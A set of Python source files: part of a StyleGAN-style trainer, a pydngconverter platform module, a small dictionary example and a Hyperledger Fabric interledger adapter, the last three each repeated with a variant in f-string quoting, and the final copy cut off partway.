self.lr_mlp, 'transparent': self.transparent, 'fq_layers': self.fq_layers, 'fq_dict_size': self.fq_dict_size, 'attn_layers': self.attn_layers, 'no_const': self.no_const} def set_data_src(self, folder): self.dataset = NetworkDataset(folder, self.image_size, transparent = self.transparent, aug_prob = self.dataset_aug_prob) num_workers = num_workers = default(self.num_workers, NUM_CORES if not self.is_ddp else 0) sampler = DistributedSampler(self.dataset, rank=self.rank, num_replicas=self.world_size, shuffle=True) if self.is_ddp else None dataloader = data.DataLoader(self.dataset, num_workers = num_workers, batch_size = math.ceil(self.batch_size / self.world_size), sampler = sampler, shuffle = not self.is_ddp, drop_last = True, pin_memory = True) self.loader = cycle(dataloader) # auto set augmentation prob for user if dataset is detected to be low num_samples = len(self.dataset) if not exists(self.aug_prob) and num_samples < 1e5: self.aug_prob = min(0.5, (1e5 - num_samples) * 3e-6) print(f'autosetting augmentation probability to {round(self.aug_prob * 100)}%') def train(self): assert exists(self.loader), 'You must first initialize the data source with `.set_data_src(<folder of images>)`' if not exists(self.GAN): self.init_GAN() self.GAN.train() total_disc_loss = torch.tensor(0.).cuda(self.rank) total_gen_loss = torch.tensor(0.).cuda(self.rank) batch_size = math.ceil(self.batch_size / self.world_size) image_size = self.GAN.G.image_size latent_dim = self.GAN.G.latent_dim num_layers = self.GAN.G.num_layers aug_prob = self.aug_prob aug_types = self.aug_types aug_kwargs = {'prob': aug_prob, 'types': aug_types} apply_gradient_penalty = self.steps % 4 == 0 apply_path_penalty = not self.no_pl_reg and self.steps > 5000 and self.steps % 32 == 0 apply_cl_reg_to_generated = self.steps > 20000 S = self.GAN.S if not self.is_ddp else self.S_ddp G = self.GAN.G if not self.is_ddp else self.G_ddp D = self.GAN.D if not self.is_ddp else self.D_ddp D_aug = self.GAN.D_aug if not self.is_ddp else self.D_aug_ddp backwards = partial(loss_backwards, self.fp16) if exists(self.GAN.D_cl): self.GAN.D_opt.zero_grad() if apply_cl_reg_to_generated: for i in range(self.gradient_accumulate_every): get_latents_fn = mixed_list if random() < self.mixed_prob else noise_list style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(self.GAN.S, style) w_styles = styles_def_to_tensor(w_space) generated_images = self.GAN.G(w_styles, noise) self.GAN.D_cl(generated_images.clone().detach(), accumulate=True) for i in range(self.gradient_accumulate_every): image_batch = next(self.loader).cuda(self.rank) self.GAN.D_cl(image_batch, accumulate=True) loss = self.GAN.D_cl.calculate_loss() self.last_cr_loss = loss.clone().detach().item() backwards(loss, self.GAN.D_opt, loss_id = 0) self.GAN.D_opt.step() # train discriminator avg_pl_length = self.pl_mean self.GAN.D_opt.zero_grad() for i in gradient_accumulate_contexts(self.gradient_accumulate_every, self.is_ddp, ddps=[D_aug, S, G]): get_latents_fn = mixed_list if random() < self.mixed_prob else noise_list style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(S, style) w_styles = styles_def_to_tensor(w_space) generated_images = G(w_styles, noise) fake_output, fake_q_loss = D_aug(generated_images.clone().detach(), detach = True, **aug_kwargs) image_batch = next(self.loader).cuda(self.rank) image_batch.requires_grad_() real_output, real_q_loss = D_aug(image_batch, **aug_kwargs) real_output_loss = real_output fake_output_loss = fake_output if self.rel_disc_loss: real_output_loss = real_output_loss - fake_output.mean() fake_output_loss = fake_output_loss - real_output.mean() divergence = (F.relu(1 + real_output_loss) + F.relu(1 - fake_output_loss)).mean() disc_loss = divergence if self.has_fq: quantize_loss = (fake_q_loss + real_q_loss).mean() self.q_loss = float(quantize_loss.detach().item()) disc_loss = disc_loss + quantize_loss if apply_gradient_penalty: gp = gradient_penalty(image_batch, real_output) self.last_gp_loss = gp.clone().detach().item() self.track(self.last_gp_loss, 'GP') disc_loss = disc_loss + gp disc_loss = disc_loss / self.gradient_accumulate_every disc_loss.register_hook(raise_if_nan) backwards(disc_loss, self.GAN.D_opt, loss_id = 1) total_disc_loss += divergence.detach().item() / self.gradient_accumulate_every self.d_loss = float(total_disc_loss) self.track(self.d_loss, 'D') self.GAN.D_opt.step() # train generator self.GAN.G_opt.zero_grad() for i in gradient_accumulate_contexts(self.gradient_accumulate_every, self.is_ddp, ddps=[S, G, D_aug]): style = get_latents_fn(batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(batch_size, image_size, device=self.rank) w_space = latent_to_w(S, style) w_styles = styles_def_to_tensor(w_space) generated_images = G(w_styles, noise) fake_output, _ = D_aug(generated_images, **aug_kwargs) fake_output_loss = fake_output if self.top_k_training: epochs = (self.steps * batch_size * self.gradient_accumulate_every) / len(self.dataset) k_frac = max(self.generator_top_k_gamma ** epochs, self.generator_top_k_frac) k = math.ceil(batch_size * k_frac) if k != batch_size: fake_output_loss, _ = fake_output_loss.topk(k=k, largest=False) loss = fake_output_loss.mean() gen_loss = loss if apply_path_penalty: pl_lengths = calc_pl_lengths(w_styles, generated_images) avg_pl_length = np.mean(pl_lengths.detach().cpu().numpy()) if not is_empty(self.pl_mean): pl_loss = ((pl_lengths - self.pl_mean) ** 2).mean() if not torch.isnan(pl_loss): gen_loss = gen_loss + pl_loss gen_loss = gen_loss / self.gradient_accumulate_every gen_loss.register_hook(raise_if_nan) backwards(gen_loss, self.GAN.G_opt, loss_id = 2) total_gen_loss += loss.detach().item() / self.gradient_accumulate_every self.g_loss = float(total_gen_loss) self.track(self.g_loss, 'G') self.GAN.G_opt.step() # calculate moving averages if apply_path_penalty and not np.isnan(avg_pl_length): self.pl_mean = self.pl_length_ma.update_average(self.pl_mean, avg_pl_length) self.track(self.pl_mean, 'PL') if self.is_main and self.steps % 10 == 0 and self.steps > 20000: self.GAN.EMA() if self.is_main and self.steps <= 25000 and self.steps % 1000 == 2: self.GAN.reset_parameter_averaging() # save from NaN errors if any(torch.isnan(l) for l in (total_gen_loss, total_disc_loss)): print(f'NaN detected for generator or discriminator. Loading from checkpoint #{self.checkpoint_num}') self.load(self.checkpoint_num) raise NanException # periodically save results if self.is_main: if self.steps % self.save_every == 0: self.save(self.checkpoint_num) if self.steps % self.evaluate_every == 0 or (self.steps % 100 == 0 and self.steps < 2500): self.evaluate(floor(self.steps / self.evaluate_every)) if exists(self.calculate_fid_every) and self.steps % self.calculate_fid_every == 0 and self.steps != 0: num_batches = math.ceil(self.calculate_fid_num_images / self.batch_size) fid = self.calculate_fid(num_batches) self.last_fid = fid with open(str(self.results_dir / self.name / f'fid_scores.txt'), 'a') as f: f.write(f'{self.steps},{fid}\n') self.steps += 1 self.av = None @torch.no_grad() def evaluate(self, num = 0, trunc = 1.0): self.GAN.eval() ext = self.image_extension num_rows = self.num_image_tiles latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers # latents and noise latents = noise_list(num_rows ** 2, num_layers, latent_dim, device=self.rank) n = image_noise(num_rows ** 2, image_size, device=self.rank) # regular generated_images = self.generate_truncated(self.GAN.S, self.GAN.G, latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}.{ext}'), nrow=num_rows) # moving averages generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}-ema.{ext}'), nrow=num_rows) # mixing regularities def tile(a, dim, n_tile): init_dim = a.size(dim) repeat_idx = [1] * a.dim() repeat_idx[dim] = n_tile a = a.repeat(*(repeat_idx)) order_index = torch.LongTensor(np.concatenate([init_dim * np.arange(n_tile) + i for i in range(init_dim)])).cuda(self.rank) return torch.index_select(a, dim, order_index) nn = noise(num_rows, latent_dim, device=self.rank) tmp1 = tile(nn, 0, num_rows) tmp2 = nn.repeat(num_rows, 1) tt = int(num_layers / 2) mixed_latents = [(tmp1, tt), (tmp2, num_layers - tt)] generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, mixed_latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}-mr.{ext}'), nrow=num_rows) @torch.no_grad() def calculate_fid(self, num_batches): from pytorch_fid import fid_score torch.cuda.empty_cache() real_path = self.fid_dir / 'real' fake_path = self.fid_dir / 'fake' # remove any existing files used for fid calculation and recreate directories if not real_path.exists() or self.clear_fid_cache: rmtree(real_path, ignore_errors=True) os.makedirs(real_path) for batch_num in tqdm(range(num_batches), desc='calculating FID - saving reals'): real_batch = next(self.loader) for k, image in enumerate(real_batch.unbind(0)): filename = str(k + batch_num * self.batch_size) torchvision.utils.save_image(image, str(real_path / f'{filename}.png')) # generate a bunch of fake images in results / name / fid_fake rmtree(fake_path, ignore_errors=True) os.makedirs(fake_path) self.GAN.eval() ext = self.image_extension latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers for batch_num in tqdm(range(num_batches), desc='calculating FID - saving generated'): # latents and noise latents = noise_list(self.batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(self.batch_size, image_size, device=self.rank) # moving averages generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, noise, trunc_psi = self.trunc_psi) for j, image in enumerate(generated_images.unbind(0)): torchvision.utils.save_image(image, str(fake_path / f'{str(j + batch_num * self.batch_size)}-ema.{ext}')) return fid_score.calculate_fid_given_paths([str(real_path), str(fake_path)], 256, noise.device, 2048) @torch.no_grad() def truncate_style(self, tensor, trunc_psi = 0.75): S = self.GAN.S batch_size = self.batch_size latent_dim = self.GAN.G.latent_dim if not exists(self.av): z = noise(2000, latent_dim, device=self.rank) samples = evaluate_in_chunks(batch_size, S, z).cpu().numpy() self.av = np.mean(samples, axis = 0) self.av = np.expand_dims(self.av, axis = 0) av_torch = torch.from_numpy(self.av).cuda(self.rank) tensor = trunc_psi * (tensor - av_torch) + av_torch return tensor @torch.no_grad() def truncate_style_defs(self, w, trunc_psi = 0.75): w_space = [] for tensor, num_layers in w: tensor = self.truncate_style(tensor, trunc_psi = trunc_psi) w_space.append((tensor, num_layers)) return w_space @torch.no_grad() def generate_truncated(self, S, G, style, noi, trunc_psi = 0.75, num_image_tiles = 8): w = map(lambda t: (S(t[0]), t[1]), style) w_truncated = self.truncate_style_defs(w, trunc_psi = trunc_psi) w_styles = styles_def_to_tensor(w_truncated) generated_images = evaluate_in_chunks(self.batch_size, G, w_styles, noi) return generated_images.clamp_(0., 1.) @torch.no_grad() def generate_interpolation(self, num = 0, num_image_tiles = 8, trunc = 1.0, num_steps = 100, save_frames = False): self.GAN.eval() ext = self.image_extension num_rows = num_image_tiles latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers # latents and noise latents_low = noise(num_rows ** 2, latent_dim, device=self.rank) latents_high = noise(num_rows ** 2, latent_dim, device=self.rank) n = image_noise(num_rows ** 2, image_size, device=self.rank) ratios = torch.linspace(0., 8., num_steps) frames = [] for ratio in tqdm(ratios): interp_latents = slerp(ratio, latents_low, latents_high) latents = [(interp_latents, num_layers)] generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, n, trunc_psi = self.trunc_psi) images_grid = torchvision.utils.make_grid(generated_images, nrow = num_rows) pil_image = transforms.ToPILImage()(images_grid.cpu()) if self.transparent: background = Image.new("RGBA", pil_image.size, (255, 255, 255)) pil_image = Image.alpha_composite(background, pil_image) frames.append(pil_image) frames[0].save(str(self.results_dir / self.name / f'{str(num)}.gif'), save_all=True, append_images=frames[1:], duration=80, loop=0, optimize=True) if save_frames: folder_path = (self.results_dir / self.name / f'{str(num)}') folder_path.mkdir(parents=True, exist_ok=True) for ind, frame in enumerate(frames): frame.save(str(folder_path / f'{str(ind)}.{ext}')) def print_log(self): data = [ ('G', self.g_loss), ('D', self.d_loss), ('GP', self.last_gp_loss), ('PL', self.pl_mean), ('CR', self.last_cr_loss), ('Q', self.q_loss), ('FID', self.last_fid) ] data = [d for d in data if exists(d[1])] log = ' | '.join(map(lambda n: f'{n[0]}: {n[1]:.2f}', data)) print(log) def track(self, value, name): if not exists(self.logger): return self.logger.track(value, name = name) def model_name(self, num): return str(self.models_dir / self.name / f'model_{num}.pt') def init_folders(self): (self.results_dir / self.name).mkdir(parents=True, exist_ok=True) (self.models_dir / self.name).mkdir(parents=True, exist_ok=True) def clear(self): rmtree(str(self.models_dir / self.name), True) rmtree(str(self.results_dir / self.name), True) rmtree(str(self.fid_dir), True) rmtree(str(self.config_path), True) self.init_folders() def save(self, num): save_data = { 'GAN': self.GAN.state_dict(), 'version': __version__ } if self.GAN.fp16: save_data['amp'] = amp.state_dict() torch.save(save_data, self.model_name(num)) self.write_config() def load(self, num = -1): self.load_config() name = num if num == -1: file_paths = [p for p in Path(self.models_dir / self.name).glob('model_*.pt')] saved_nums = sorted(map(lambda x: int(x.stem.split('_')[1]), file_paths)) if len(saved_nums) == 0: return name = saved_nums[-1] print(f'continuing from previous epoch - {name}') self.steps = name * self.save_every load_data = torch.load(self.model_name(name)) if 'version' in load_data: print(f"loading from version {load_data['version']}") try: self.GAN.load_state_dict(load_data['GAN']) except Exception as e: print('unable to load save model. please try downgrading the package to the version specified by the saved model') raise e if self.GAN.fp16 and 'amp' in load_data: amp.load_state_dict(load_data['amp']) class ModelLoader: def __init__(self, *, base_dir, name = 'default', load_from = -1): self.model = Trainer(name = name, base_dir = base_dir) self.model.load(load_from) def noise_to_styles(self, noise, trunc_psi = None): noise = noise.cuda() w = self.model.GAN.SE(noise) if exists(trunc_psi): w = self.model.truncate_style(w) return w def styles_to_images(self, w): batch_size, *_ = w.shape num_layers = self.model.GAN.GE.num_layers image_size = self.model.image_size w_def = [(w, num_layers)] w_tensors = styles_def_to_tensor(w_def) noise = image_noise(batch_size, image_size, device = 0) images = self.model.GAN.GE(w_tensors, noise) images.clamp_(0., 1.) return images
# -*- coding: utf-8 -*- """PyDNGConverter Compatibility module. Handles platform-specific operations. """ import asyncio import logging import os import platform from copy import deepcopy from enum import Enum, auto from pathlib import Path from typing import Union, List, Optional from pydngconverter import utils logger = logging.getLogger("pydngconverter").getChild("utils") class Platform(Enum): UNKNOWN = auto() # fallback UNIX = auto() SOLARIS = auto() LINUX = auto() WINDOWS = auto() DARWIN = auto() @property def is_unknown(self) -> bool: return self == Platform.UNKNOWN @property def is_nix(self) -> bool: return self in [Platform.LINUX, Platform.UNIX, Platform.SOLARIS] @property def is_darwin(self) -> bool: return self == Platform.DARWIN @property def is_win(self) -> bool: return self == Platform.WINDOWS @classmethod def get(cls) -> "Platform": return getattr(cls, str(platform.system()).upper()) async def _exec_wine(winecmd: str, *args): """Execute wine command. Will check for WINEPREFIX in user env, defaulting to ~/.dngconverter (AUR package default path) if it is not provided. """ prefix = os.environ.get("WINEPREFIX", Path.home() / ".dngconverter" / "wine") logger.debug("wine prefix: %s", prefix) prefix = Path(prefix) wineenv = dict(**deepcopy(os.environ), **dict(WINEPREFIX=str(prefix))) logger.debug("Executing [italic white]%s %s[/]", winecmd, " ".join(args)) proc = await asyncio.create_subprocess_exec( winecmd, *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, env=wineenv ) stdout, _ = await proc.communicate() return stdout async def wine_path(unix_path: Path) -> str: """Convert *nix path to Windows path.""" win_path = await _exec_wine("winepath", "-w", str(unix_path)) win_path = win_path.decode().rstrip("\n") return win_path async def get_compat_path(path: Union[str, Path]) -> str: """Convert given path to a DNGConverter compatible format. DNGConverter requires Windows-like paths on *nix environments that utilize wine. """ _path = Path(path) plat = Platform.get() if plat.is_unknown: # at least try instead of failing. logger.warning("unable to determine platform! defaulting to linux.") return str(_path) if plat.is_nix: # dngconverter runs in wine on *nix, # but it requires windows-type paths. _path = await wine_path(_path) logger.debug("converted unix to windows path: %s", _path) return _path return str(_path) def resolve_executable(name_variants: List[str], env_override: Optional[str] = None) -> str: """Resolve platform-specific path to given executable. Args: name_variants: List of executable names to look for. env_override: Environment variable name to use as override if available. Returns: Path to executable and platform-specific command to execute. """ plat = Platform.get() app_map = { Platform.LINUX: Path("/usr/bin"), Platform.WINDOWS: Path(r"C:\Program Files"), Platform.DARWIN: Path("/Applications"), } app_ext = { Platform.LINUX: "{name}", Platform.WINDOWS: "{name}.exe", Platform.DARWIN: "{name}.app/Contents/MacOS/{name}", } # oh, look at me. fancy walrus operator :) if env_override and (override_path := os.environ.get(env_override)): override_path = Path(override_path.strip()) if override_path.exists(): logger.info("using binary path override from %s: %s", env_override, override_path) # allow use of env vars to override paths in case of resolution failure. return override_path def _resolve(names: List[str]) -> Path: for name in names: _app_root = app_map.get(plat, app_map[Platform.LINUX]) _app_ext = app_ext.get(plat, app_ext[Platform.LINUX]).format(name=name) _app_path = _app_root / _app_ext if _app_path.exists(): yield name, _app_path try: bin_path = utils.locate_program(name) except Exception: pass else: if bin_path is not None: yield name, bin_path try: name, exec_path = next(_resolve(name_variants)) except StopIteration as e: raise RuntimeError( f"Could not locate {", ".join(name_variants)} binary! You can manually provide a path with the {env_override} env " "variable. " ) from e else: logger.info("resolved executable for: %s @ %s", name, exec_path) return exec_path
# -*- coding: utf-8 -*- """PyDNGConverter Compatibility module. Handles platform-specific operations. """ import asyncio import logging import os import platform from copy import deepcopy from enum import Enum, auto from pathlib import Path from typing import Union, List, Optional from pydngconverter import utils logger = logging.getLogger("pydngconverter").getChild("utils") class Platform(Enum): UNKNOWN = auto() # fallback UNIX = auto() SOLARIS = auto() LINUX = auto() WINDOWS = auto() DARWIN = auto() @property def is_unknown(self) -> bool: return self == Platform.UNKNOWN @property def is_nix(self) -> bool: return self in [Platform.LINUX, Platform.UNIX, Platform.SOLARIS] @property def is_darwin(self) -> bool: return self == Platform.DARWIN @property def is_win(self) -> bool: return self == Platform.WINDOWS @classmethod def get(cls) -> "Platform": return getattr(cls, str(platform.system()).upper()) async def _exec_wine(winecmd: str, *args): """Execute wine command. Will check for WINEPREFIX in user env, defaulting to ~/.dngconverter (AUR package default path) if it is not provided. """ prefix = os.environ.get("WINEPREFIX", Path.home() / ".dngconverter" / "wine") logger.debug("wine prefix: %s", prefix) prefix = Path(prefix) wineenv = dict(**deepcopy(os.environ), **dict(WINEPREFIX=str(prefix))) logger.debug("Executing [italic white]%s %s[/]", winecmd, " ".join(args)) proc = await asyncio.create_subprocess_exec( winecmd, *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, env=wineenv ) stdout, _ = await proc.communicate() return stdout async def wine_path(unix_path: Path) -> str: """Convert *nix path to Windows path.""" win_path = await _exec_wine("winepath", "-w", str(unix_path)) win_path = win_path.decode().rstrip("\n") return win_path async def get_compat_path(path: Union[str, Path]) -> str: """Convert given path to a DNGConverter compatible format. DNGConverter requires Windows-like paths on *nix environments that utilize wine. """ _path = Path(path) plat = Platform.get() if plat.is_unknown: # at least try instead of failing. logger.warning("unable to determine platform! defaulting to linux.") return str(_path) if plat.is_nix: # dngconverter runs in wine on *nix, # but it requires windows-type paths. _path = await wine_path(_path) logger.debug("converted unix to windows path: %s", _path) return _path return str(_path) def resolve_executable(name_variants: List[str], env_override: Optional[str] = None) -> str: """Resolve platform-specific path to given executable. Args: name_variants: List of executable names to look for. env_override: Environment variable name to use as override if available. Returns: Path to executable and platform-specific command to execute. """ plat = Platform.get() app_map = { Platform.LINUX: Path("/usr/bin"), Platform.WINDOWS: Path(r"C:\Program Files"), Platform.DARWIN: Path("/Applications"), } app_ext = { Platform.LINUX: "{name}", Platform.WINDOWS: "{name}.exe", Platform.DARWIN: "{name}.app/Contents/MacOS/{name}", } # oh, look at me. fancy walrus operator :) if env_override and (override_path := os.environ.get(env_override)): override_path = Path(override_path.strip()) if override_path.exists(): logger.info("using binary path override from %s: %s", env_override, override_path) # allow use of env vars to override paths in case of resolution failure. return override_path def _resolve(names: List[str]) -> Path: for name in names: _app_root = app_map.get(plat, app_map[Platform.LINUX]) _app_ext = app_ext.get(plat, app_ext[Platform.LINUX]).format(name=name) _app_path = _app_root / _app_ext if _app_path.exists(): yield name, _app_path try: bin_path = utils.locate_program(name) except Exception: pass else: if bin_path is not None: yield name, bin_path try: name, exec_path = next(_resolve(name_variants)) except StopIteration as e: raise RuntimeError( f"Could not locate {', '.join(name_variants)} binary! You can manually provide a path with the {env_override} env " "variable. " ) from e else: logger.info("resolved executable for: %s @ %s", name, exec_path) return exec_path
alien_0 = {'x_position': 0, 'y_position': 25, 'speed': 'medium' } print(f"Original position: {alien_0["x_position"]}") # Move the alien to the right. # Determine how far to move the alien based on its current speed. if alien_0['speed'] == 'slow': x_increment = 1 elif alien_0['speed'] == 'medium': x_increment = 2 else: # This must be a fast alien. x_increment = 3 # The new position is the old position plus the increment. alien_0['x_position'] = alien_0['x_position'] + x_increment print(f"New position: {alien_0["x_position"]}")
alien_0 = {'x_position': 0, 'y_position': 25, 'speed': 'medium' } print(f"Original position: {alien_0['x_position']}") # Move the alien to the right. # Determine how far to move the alien based on its current speed. if alien_0['speed'] == 'slow': x_increment = 1 elif alien_0['speed'] == 'medium': x_increment = 2 else: # This must be a fast alien. x_increment = 3 # The new position is the old position plus the increment. alien_0['x_position'] = alien_0['x_position'] + x_increment print(f"New position: {alien_0['x_position']}")
import asyncio import ast from hfc.fabric import Client from .interfaces import Initiator, Responder, ErrorCode from ..transfer import Transfer class FabricInitializer: """This provides the proper fabric client wrapper """ def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): self.client = Client(net_profile=net_profile) assert self.client print("---client---") print(self.client.orderers) print(self.client.peers) print("---client---") self.channel_name = channel_name self.channel = self.client.new_channel(channel_name) print("---channel---") print("client channels: ", self.client._channels) print("channel: ", self.client.get_channel(channel_name)) print("channel name: ", self.client.get_channel(channel_name).name) print("channel peers: ", self.client.get_channel(channel_name).peers) print("channel orderers: ", self.client.get_channel(channel_name).orderers) print("---channel---") assert self.channel self.cc_name = cc_name self.cc_version = cc_version self.user = self.client.get_user(org_name, user_name) assert self.user self.peers = [self.client.get_peer(peer_name)] assert self.peers print("---parameters---") print("User: ", self.user) print("Peers: ", self.peers) print("cc name:", self.cc_name) print("---parameters---") self.hub = None self.reg_nub = None async def get_height(self): info = await self.client.query_info(self.user, self.channel_name, self.peers) return info.height class FabricInitiator(FabricInitializer, Initiator): """Fabric implementation of the Initiator. """ def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): FabricInitializer.__init__( self, net_profile=net_profile, channel_name=channel_name, cc_name=cc_name, cc_version=cc_version, org_name=org_name, user_name=user_name, peer_name=peer_name ) self.height = None self.entries = [] async def listen_for_events(self) -> list: """Listen for events fired by the Initiator injected chaincode stored in the connected HyperLedger Fabric network. :returns: The event transfer lists :rtype: list """ transfers = [] # initialize transfer list self.hub = self.channel.newChannelEventHub(self.peers[0], self.user) self.reg_num = self.hub.registerBlockEvent( onEvent=self.event_handler) # print(f"reg_num: {self.reg_num}") # wait for some time # print("Start listening...") if not self.height: self.height = await self.get_height() # start = await self.get_height() # await asyncio.sleep(12) # stop = await self.get_height() # start listening and store the events # print(f"Start listening from : {self.height}") # print(f"Debug@Hub peer: {self.hub._peer} \nof type {type(self.peers[0])}") stream = self.hub.connect(filtered=False, start=self.height) try: await asyncio.wait_for(stream, timeout=1) except asyncio.TimeoutError: # print('timeout!') pass self.height = await self.get_height() # check the events if self.entries: transfers = self._buffer_data(self.entries) print("cached transfers:", len(transfers)) # clean up # print(self.hub._reg_nums) self.hub.disconnect() # print(self.hub._reg_nums) # self.hub.unregisterBlockEvent(self.reg_num) # print(self.hub._reg_nums) self.entries.clear() return transfers async def commit_sending(self, id: str) -> dict: """Initiate the commit operation to the connected HyperLedger Fabric network. :param str id: the identifier in the originating ledger for a data item :rtype: dict { 'commit_status': bool, 'commit_tx_hash': str, 'exception': object,# only with errors 'commit_error_code': Enum, # only with errors 'commit_message': str # only with errors } """ # invoke interledgerCommit try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, fcn="InterledgerCommit", args=[id], wait_for_event=True) # print("commit result:", result) return {"commit_status": True, "commit_tx_hash": "0xfake_tx_hash"} except Exception as err: # print(err) return {"commit_status": False, "commit_error_code": ErrorCode.TRANSACTION_FAILURE, "commit_message": "Error in the transaction", "commit_tx_hash": "0xfake_tx_hash"} async def abort_sending(self, id: str, reason: int): """Initiate the abort operation to the connected HyperLedger Fabric. :param str id: the identifier in the originating ledger for a data item :param int reason: the code to signal the predefined reasons :rtype: dict { 'abort_status': bool, 'abort_tx_hash': str, 'exception': object,# only with errors 'abort_error_code': Enum, # only with errors 'abort_message': str # only with errors } """ # invoke interledgerAbort try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, fcn="interledgerAbort", args=[int(id), int(reason)], wait_for_event=True) # print("abort result:", result) return {"abort_status": True, "abort_tx_hash": "0xfake_tx_hash"} except: return {"abort_status": False, "abort_error_code": ErrorCode.TRANSACTION_FAILURE, "abort_message": "Error in the transaction", "abort_tx_hash": "0xfake_tx_hash"} def event_handler(self, event_obj): print(f"block event handler triggered....") d = event_obj['data']['data'] actions = d[0]['payload']['data']['actions'] action = actions[0] print(f"action payload: {action["payload"]}") event = action['payload']['action']['proposal_response_payload']['extension']['events'] event_name = event['event_name'] print(f"Event name: {event_name}") if event_name == "InterledgerEventSending": self.entries.append(event) def _buffer_data(self, events): res = [] for event in events: print(f"event to be cached: {event}") transfer = Transfer() byte_str = event['payload'] # encode the byte string and decode into a dict dict_str = byte_str.decode("UTF-8") parsed = ast.literal_eval(dict_str) transfer.payload = {'id': parsed['Id'], 'data': parsed['Data']} print("*********** buffer data *************") print(f"{transfer.payload}") print("*************************************") res.append(transfer) return res class FabricResponder(FabricInitializer, Responder): def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): FabricInitializer.__init__( self, net_profile=net_profile, channel_name=channel_name, cc_name=cc_name, cc_version=cc_version, org_name=org_name, user_name=user_name, peer_name=peer_name ) async def send_data(self, nonce: str, data: bytes): # invoke interledgerReceive try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, cc_version=str(self.cc_version), fcn="interledgerReceive", args=[nonce, data], wait_for_event=True) # print("send data result:", result) return {"status": True, "tx_hash": "0xfake_tx_hash"} except Exception as e: return {"status": False, "error_code": ErrorCode.TRANSACTION_FAILURE, "message": "Error in the transaction", "tx_hash": "0xfake_tx_hash", "exception": e}
import asyncio import ast from hfc.fabric import Client from .interfaces import Initiator, Responder, ErrorCode from ..transfer import Transfer class FabricInitializer: """This provides the proper fabric client wrapper """ def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): self.client = Client(net_profile=net_profile) assert self.client print("---client---") print(self.client.orderers) print(self.client.peers) print("---client---") self.channel_name = channel_name self.channel = self.client.new_channel(channel_name) print("---channel---") print("client channels: ", self.client._channels) print("channel: ", self.client.get_channel(channel_name)) print("channel name: ", self.client.get_channel(channel_name).name) print("channel peers: ", self.client.get_channel(channel_name).peers) print("channel orderers: ", self.client.get_channel(channel_name).orderers) print("---channel---") assert self.channel self.cc_name = cc_name self.cc_version = cc_version self.user = self.client.get_user(org_name, user_name) assert self.user self.peers = [self.client.get_peer(peer_name)] assert self.peers print("---parameters---") print("User: ", self.user) print("Peers: ", self.peers) print("cc name:", self.cc_name) print("---parameters---") self.hub = None self.reg_nub = None async def get_height(self): info = await self.client.query_info(self.user, self.channel_name, self.peers) return info.height class FabricInitiator(FabricInitializer, Initiator): """Fabric implementation of the Initiator. """ def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): FabricInitializer.__init__( self, net_profile=net_profile, channel_name=channel_name, cc_name=cc_name, cc_version=cc_version, org_name=org_name, user_name=user_name, peer_name=peer_name ) self.height = None self.entries = [] async def listen_for_events(self) -> list: """Listen for events fired by the Initiator injected chaincode stored in the connected HyperLedger Fabric network. :returns: The event transfer lists :rtype: list """ transfers = [] # initialize transfer list self.hub = self.channel.newChannelEventHub(self.peers[0], self.user) self.reg_num = self.hub.registerBlockEvent( onEvent=self.event_handler) # print(f"reg_num: {self.reg_num}") # wait for some time # print("Start listening...") if not self.height: self.height = await self.get_height() # start = await self.get_height() # await asyncio.sleep(12) # stop = await self.get_height() # start listening and store the events # print(f"Start listening from : {self.height}") # print(f"Debug@Hub peer: {self.hub._peer} \nof type {type(self.peers[0])}") stream = self.hub.connect(filtered=False, start=self.height) try: await asyncio.wait_for(stream, timeout=1) except asyncio.TimeoutError: # print('timeout!') pass self.height = await self.get_height() # check the events if self.entries: transfers = self._buffer_data(self.entries) print("cached transfers:", len(transfers)) # clean up # print(self.hub._reg_nums) self.hub.disconnect() # print(self.hub._reg_nums) # self.hub.unregisterBlockEvent(self.reg_num) # print(self.hub._reg_nums) self.entries.clear() return transfers async def commit_sending(self, id: str) -> dict: """Initiate the commit operation to the connected HyperLedger Fabric network. :param str id: the identifier in the originating ledger for a data item :rtype: dict { 'commit_status': bool, 'commit_tx_hash': str, 'exception': object,# only with errors 'commit_error_code': Enum, # only with errors 'commit_message': str # only with errors } """ # invoke interledgerCommit try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, fcn="InterledgerCommit", args=[id], wait_for_event=True) # print("commit result:", result) return {"commit_status": True, "commit_tx_hash": "0xfake_tx_hash"} except Exception as err: # print(err) return {"commit_status": False, "commit_error_code": 